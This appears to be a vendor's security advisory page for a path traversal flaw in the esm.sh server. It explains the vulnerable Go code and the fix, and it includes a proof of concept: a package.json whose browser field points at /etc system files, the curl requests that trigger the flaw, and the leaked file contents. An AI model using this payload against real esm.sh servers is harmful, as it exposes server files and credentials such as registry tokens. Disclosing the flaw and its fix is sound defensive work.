Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
HIGH severity

GHSA-rg65-45m7-hq57

HIGH

GHSA-rg65-45m7-hq57 is a high-severity (CVSS 7.5) Path Traversal vulnerability in github.com/esm-dev/esm.sh. O3 Security confirms whether GHSA-rg65-45m7-hq57 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

esm.sh: Path Traversal via package.json browser field allows reading arbitrary server files

Also known asCVE-2026-44594GO-2026-5620
Published
May 12, 2026
Updated
Jun 25, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Aug 9, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for GHSA-rg65-45m7-hq57.

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs25th percentile — riskier than 25% of all scored CVEsHighest risk
0.00%0.27%0.55%0.82%0.0%0.3%0.3%0.3%Jun 26Aug 26Aug 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-rg65-45m7-hq57 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 356,665 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐹github.com/esm-dev/esm.sh

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

A Local File Inclusion (LFI) vulnerability exists in the esbuild plugin's handling of the browser field in package.json. An attacker can publish an npm package that causes the server to read and return arbitrary files from the host filesystem during the build process.

Details

The vulnerable code is in the OnResolve callback of the esbuild plugin:

https://github.com/esm-dev/esm.sh/blob/main/server/build.go

The plugin validates that resolved file paths stay within the package working directory. However, after this check, the browser field from package.json remaps the module path to an attacker-controlled value containing ../ sequences. No validation is performed after the remapping.

// Sandbox check passes for the original "./d1.txt" path
if !strings.HasPrefix(filename, ctx.wd+string(os.PathSeparator)) {
    return esbuild.OnResolveResult{}, fmt.Errorf("could not resolve module %s", specifier)
}

// ... later, browser field remaps to attacker-controlled path:
if len(pkgJson.Browser) > 0 && ctx.isBrowserTarget() {
	if path, ok := pkgJson.Browser[modulePath]; ok {
		if path == "" {
			return esbuild.OnResolveResult{
				Path:      args.Path,
				Namespace: "browser-exclude",
			}, nil
		}
		if !isRelPathSpecifier(path) {
			externalPath, sideEffects, err := ctx.resolveExternalModule(path, args.Kind, withTypeJSON, analyzeMode)
			if err != nil {
				return esbuild.OnResolveResult{}, err
			}
			return esbuild.OnResolveResult{
				Path:        externalPath,
				SideEffects: sideEffects,
				External:    true,
			}, nil
		}
		modulePath = path
	}
}


// path.Join collapses "../" sequences - escapes the package directory
filename = path.Join(ctx.wd, "node_modules", ctx.esmPath.PkgName, modulePath)
// No second sandbox check

File contents appear in both the bundled JS output and the source map sourcesContent array.

Readable files are constrained by esbuild's loader selection based on file extension: .json files must be valid JSON, .txt/.html/.md are read as raw text, files without a recognized extension must be syntactically valid JavaScript. The config.json of esm.sh is fully readable (valid JSON with .json extension).

Non-existent target paths do not cause build errors - the import simply remains unresolved. This allows probing many paths in a single package, acting as a file existence oracle.

PoC

The test package is published at https://www.npmjs.com/package/chess-sec-utils1

package.json:

{
  "name": "chess-sec-utils1",
  "version": "1.0.6",
  "main": "index.js",
  "type": "module",
  "browser": {
    "./d1.txt": "../../../../../../../../etc/hostname",
    "./d2.json": "../../../../../../../../etc/os-release",
    "./d3.json": "../../../../../../../../etc/environment"
  }
}

index.js:

import d1 from "./d1.txt"
import d2 from "./d2.json"
import d3 from "./d3.json"
export default { d1, d2, d3 }
npm publish
curl "https://<esm.sh-instance>/[email protected]"
curl "https://<esm.sh-instance>/[email protected]/es2022/chess-sec-utils1.mjs.map"

Server file contents in source map response:

{
  "sourcesContent": [
    "ideapad\n",
    "PRETTY_NAME=\"Ubuntu 22.04.5 LTS\"\nNAME=\"Ubuntu\"\nVERSION_ID=\"22.04\"\nVERSION=\"22.04.5 LTS (Jammy Jellyfish)\"\nVERSION_CODENAME=jammy\nID=ubuntu\nID_LIKE=debian\nHOME_URL=\"https://www.ubuntu.com/\"\nSUPPORT_URL=\"https://help.ubuntu.com/\"\nBUG_REPORT_URL=\"https://bugs.launchpad.net/ubuntu/\"\nPRIVACY_POLICY_URL=\"https://www.ubuntu.com/legal/terms-and-policies/privacy-policy\"\nUBUNTU_CODENAME=jammy\n",
    "PATH=\"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin\"\n",
    "import d1 from \"./d1.txt\"..."
  ]
}
<img width="1720" height="796" alt="image" src="https://github.com/user-attachments/assets/ee1c9781-2c5c-4718-b436-f6cf453f0952" />

Impact

An attacker can read sensitive files from the server, including the esm.sh config.json which may contain npm registry authentication tokens and S3 storage credentials.

Fix

Add a path validation check after the browser field remapping:

filename = path.Join(ctx.wd, "node_modules", ctx.esmPath.PkgName, modulePath)
if !strings.HasPrefix(filename, ctx.wd+string(os.PathSeparator)) {
    return esbuild.OnResolveResult{}, fmt.Errorf("path traversal blocked")
}

Credit

Svyatoslav Berestovsky of Metascan

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/esm-dev/esm.shall versions0.0.0-20250616164159-0593516c4cfa

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/esm-dev/esm.sh. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update github.com/esm-dev/esm.sh to 0.0.0-20250616164159-0593516c4cfa or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-rg65-45m7-hq57 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-rg65-45m7-hq57 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-rg65-45m7-hq57. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary A Local File Inclusion (LFI) vulnerability exists in the esbuild plugin's handling of the `browser` field in `package.json`. An attacker can publish an npm package that causes the server to read and return arbitrary files from the host filesystem during the build process. ### Details The vulnerable code is in the `OnResolve` callback of the esbuild plugin: https://github.com/esm-dev/esm.sh/blob/main/server/build.go The plugin validates that resolved file paths stay within the package working directory. However, after this check, the `browser` field from `package.json` remaps t
O3 Security · Impact-Aware SCA

Is GHSA-rg65-45m7-hq57 in your dependencies?

O3 detects GHSA-rg65-45m7-hq57 across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

GHSA-rg65-45m7-hq57: esm.sh Path… | O3 Security